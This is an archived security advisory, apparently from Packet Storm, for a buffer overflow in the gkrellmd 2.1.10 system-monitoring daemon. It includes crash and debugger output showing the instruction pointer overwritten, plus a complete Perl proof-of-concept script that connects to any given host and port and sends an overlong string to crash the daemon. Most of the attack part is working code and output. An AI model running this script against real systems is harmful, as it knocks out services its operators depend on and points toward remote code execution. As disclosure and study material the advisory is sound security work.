what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

gkrellmd

gkrellmd
Posted Jun 24, 2003
Authored by dodo | Site darkwired.ath.cx

Gkrellmd 2.1.10 has a daemon that suffers from a buffer overflow where it does not validate the 128 byte buffer input which allows an attack to crash the daemon resulting in a denial of service.

tags | exploit, denial of service, overflow
SHA-256 | 5576fce05496fe3b2b8845987b4ff494184c85561c15b45d535fb4fd39e7c46c

gkrellmd

Change Mirror Download
Gkrellmd 2.1.10 remote exploit (buffer overflow)
date: 22-06-2003
author: dodo [dodo@darkwired.ath.cx]
aurhor-url: https://darkwired.ath.cx/

- Description:
Gkrellm is a GTK system monitoring utility, the latest version comes with a daemon.
It's a great peace of software, however the daemon needs more secure code.
gkrellm/gkrellmd: https://www.gkrellm.net/

- Exploitation:
when someone sends data to the gkrellmd, gkrellmd uses buffers to store
this data, however, it doesn't check for the maximum buffersize (128bytes).
This could result in remote executing of code and crashing the daemon.

- Details:

verbose gkrellmd output:

cyride-bash# gkrellmd -P 661 -V
update_HZ=3
connect string from client: gkrellm 2.1.10
gkrellmd accepted client: dwop.darkwired.da.ru:43755
received 141 bytes: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

debugger output (eip):

cyride-bash# gdb gkrellmd gkrellmd.core
(gdb) info reg
eip 0x41414141 0x41414141


- Proof of concept:

gkrellmcrash.pl:

#!/usr/bin/perl -s
use IO::Socket;
#
# proof of concept code
# tested: grkellmd 2.1.10
#



if(!$ARGV[0] || !$ARGV[1])
{ print "usage: ./gkrellmcrash.pl <host> <port>\n"; exit(-1); }

$host = $ARGV[0];
$port = $ARGV[1];
$exploitstring = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

$socket = new IO::Socket::INET
(
Proto => "tcp",
PeerAddr => $host,
PeerPort => $port,
);

die "unable to connect to $host:$port ($!)\n" unless $socket;

print $socket "gkrellm 2.1.10\n"; #tell the daemon wich client we have
sleep(1);
print $socket $exploitstring;

close($socket);

- Vendor Response:
vendor contacted on 22-06-2003
https://www.gkrellm.net/
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    17 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close